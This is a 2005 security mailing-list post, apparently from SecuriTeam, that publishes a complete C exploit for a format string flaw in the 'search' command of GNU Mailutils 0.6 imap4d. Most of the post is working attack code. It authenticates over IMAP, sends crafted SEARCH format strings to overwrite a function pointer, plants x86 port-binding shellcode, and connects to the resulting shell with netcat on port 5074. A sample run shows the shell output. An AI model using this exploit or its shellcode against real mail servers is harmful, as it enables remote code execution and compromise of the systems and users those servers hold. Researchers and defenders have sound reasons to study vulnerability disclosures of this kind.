[EXPL] GNU Mailutils imap4d 'search' Format String (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/15/05

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      GNU Mailutils imap4d 'search' Format String (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.gnu.org/software/mailutils/mailutils.html> GNU Mailutils is
    a collection of mail-related utilities."

    Lack of proper string validation allow attacker to execute arbitrary code
    using format string attack in GNU Mailutils imap4d.

    DETAILS

    Vulnerable Systems:
     * GNU Mailutils imap4d version 0.6

    Exploit:
    /*
     * GNU Mailutils 0.6 imap4d 'search' format string exploit.
     * Ref:
    www.idefense.com/application/poi/display?id=303&type=vulnerabilities
     *
     * This silly exploit uses hardcoded values taken from GNU/Debian testing
    (etch).
     *
     * $ ./imap4d_search_expl -h 127.0.0.1 -p 143 -u clem1 -s PROUT
     * [+] GNU Mailutils 0.6 imap4d 'search' format string exploit.
     * [+] By clem1.
     * [+] connecting to: 127.0.0.1:143
     * [+] authentification: completed.
     * [+] format string: sended
     * [+] shellcode sended.
     * [+] Bingo.
     *
     * id;
     * uid=1000(clem1) gid=1002(mail) groups=0(root)
     *
     * Copyright (C) 2005 Clement Lecigne - clem1 @ badcode.info.
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <getopt.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/fcntl.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>

    struct values {
     int offset;
     int IO_file_close;
     int addr;
     char mailbox[32];
    } v = {
     11,
     0x40468bc4,
     0x80906e0, //0xaabbccdd
     "inbox"
    };

    void usage(char *);
    void auth(int, char *, char *);
    void sendsc(int);
    void owned(int, char *);
    void fmtbuild(int);

    /*
     * s0t4ipv6@Shellcode.com.ar
     * x86 portbind a shell in port 5074
     */
    char sc[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40"
         "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
         "\xd2\x52\x66\x68\x13\xd2\x43\x66"
         "\x53\x89\xe1\x6a\x10\x51\x50\x89"
         "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
         "\x24\x04\x43\x43\xb0\x66\xcd\x80"
         "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
         "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
         "\x80\x41\x80\xf9\x03\x75\xf6\x52"
         "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
         "\x62\x69\x89\xe3\x52\x53\x89\xe1"
         "\xb0\x0b\xcd\x80";

    char b[1024];
    int i;

    int main(int ac, char **av){
     char o, *host, *user, *pass;
     struct hostent *h;
     struct sockaddr_in s;
     int port, fd;
     
     puts("[+] GNU Mailutils 0.6 imap4d 'search' format string exploit.");
     puts("[+] By clem1.");

     if(ac != 9) usage(av[0]);
     
     while((o = getopt(ac,av,"h:p:u:s:")) != EOF) {
      switch (o) {
       case 'h':
        host = optarg;
        break;
       case 'p':
        port = atoi(optarg);
        break;
       case 'u':
        user = optarg;
        break;
       case 's':
        pass = optarg;
        break;
       default:
        usage(av[0]);
        break;
      }
     }
     if((h = gethostbyname(host)) == NULL) {
      herror("[-] gethostbyname()");
      exit(1);
            }
     
     printf("[+] connecting to: %s:%d\n", inet_ntoa(*((struct in_addr
    *)h->h_addr)), port);

     fd = socket(AF_INET, SOCK_STREAM, 0);
     if(fd == -1){
      perror("[-] socket()");
      exit(1);
     }

     s.sin_family = AF_INET;
     s.sin_port = htons(port);
     s.sin_addr = *((struct in_addr *)h->h_addr);
     bzero(&(s.sin_zero), 8);

     if (connect(fd, (struct sockaddr *)&s, sizeof s) == -1) {
      perror("[-] connect()");
      exit(1);
     }

     i = recv(fd, b, 1023, 0);
     b[i] = 0;
     if(strstr(b, "IMAP4rev1") == NULL){
      puts("[-] failled.");
      exit(1);
     }
     /* authentification. */
     auth(fd, user, pass);
     /* build and send evil format string. */
     fmtbuild(fd);
     /* store shellcode in imap4d rwx adresse space. */
     sendsc(fd);
     /* force a call to fclose, uhm no shellcode ;> */
     owned(fd, host);
     return 0;
    }

    void auth(int fd, char *user, char *pass){
     memset(b, 0x0, 1024);
     snprintf(b, 1023, "1 LOGIN \"%s\" \"%s\"\n", user, pass);
     if(send(fd, b, strlen(b), 0) == -1){
      perror("[-] send()");
      exit(1);
     }
     memset(b, 0x0, 1024);
     i = recv(fd, b, 1023, 0);
     b[i] = 0x0;
     if(strstr(b, "Completed") == NULL){
      puts("[-] LOGIN failled.");
      exit(1);
     }
     memset(b, 0x0, 1024);
     snprintf(b, 1023, "2 SELECT \"%s\"\n", v.mailbox);
     if(send(fd, b, strlen(b), 0) == -1){
      perror("[-] send()");
      exit(1);
     }
     memset(b, 0x0, 1024);
     while((i = recv(fd, b, 1023, 0)) != -1){
      b[i] = 0x0;
      if(strstr(b, "Completed") != NULL)
       break;
      if(strstr(b, "Couldn't") != NULL){
       puts("[-] SELECT failled.");
       exit(1);
      }
     }
     puts("[+] authentification: completed.");
     return;
    }

    void sendsc(int fd){
     memset(b, 0x41, 1024);
     memcpy(b + 900, sc, strlen(sc));
     memcpy(b + 1020, " A\n", 3);
     memcpy(b, "3 LIST ", 7);
     if(send(fd, b, strlen(b), 0) == -1){
      perror("[-] send()");
      exit(1);
     }
     memset(b, 0x0, 1024);
     while((i = recv(fd, b, 1023, 0)) != -1){
      b[i] = 0x0;
      if(strstr(b, "Completed") != NULL)
       break;
      if(strstr(b, "BAD") != NULL){
       puts("[-] LIST failled.");
       exit(1);
      }
     }
     puts("[+] shellcode sended.");
     return;
    }

    void fmtbuild(int fd){
     unsigned char b0, b1, b2, b3;
     int a1, a2;
     a1 = (v.addr & 0xffff0000) >> 16;
     a2 = (v.addr & 0x0000ffff);
     b0 = (v.IO_file_close >> 24) & 0xff;
     b1 = (v.IO_file_close >> 16) & 0xff;
     b2 = (v.IO_file_close >> 8) & 0xff;
     b3 = (v.IO_file_close) & 0xff;
     snprintf(b, sizeof b, "3 SEARCH TOPIC "
          "A" /* pad. */
          "%c%c%c%c"
          "%%.%hdx"
          "%%%d$hn\n",
          b3 + 2, b2, b1, b0,
          a1 - 0x24,
          v.offset);
     if(send(fd, b, strlen(b), 0) == -1){
      perror("[-] send()");
      exit(1);
     }
     while((i = recv(fd, b, 1023, 0)) != -1){
      b[i] = 0x0;
      if(strstr(b, "BAD") != NULL)
       break;
     }
     memset(b, 0x0, 1024);
     snprintf(b, sizeof b, "3 SEARCH TOPIC "
          "A" /* pad. */
          "%c%c%c%c"
          "%%.%hdx"
          "%%%d$hn\n",
          b3, b2, b1, b0,
          a2 - 0x24,
          v.offset);
     if(send(fd, b, strlen(b), 0) == -1){
      perror("[-] send()");
      exit(1);
     }
     while((i = recv(fd, b, 1023, 0)) != -1){
      b[i] = 0x0;
      if(strstr(b, "BAD") != NULL)
       break;
     }
     puts("[+] format string: sended");
     return;
    }

    void owned(int fd, char *host){
     memset(b, 0x0, 1024);
     snprintf(b, 1023, "3 SUBSCRIBE OWNED\n");
     if(send(fd, b, strlen(b), 0) == -1){
      perror("[-] send()");
      exit(1);
     }
     puts("[+] Bingo.\n");
     sleep(1);
     execl("/bin/nc", "prout", host, "5074", NULL);
     printf("[-] muh? where is nc?\n[+] A shell is waiting you on %s:5074.\n",
    host);
     return;
    }

    void usage(char *ex){
     printf("usage: %s -h <hostname> -p <port> -u <user> -s <password>\n",
    ex);
     exit(1);
    }

    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:clem1@badcode.info> Cl ment
    Lecigne.

    ========================================

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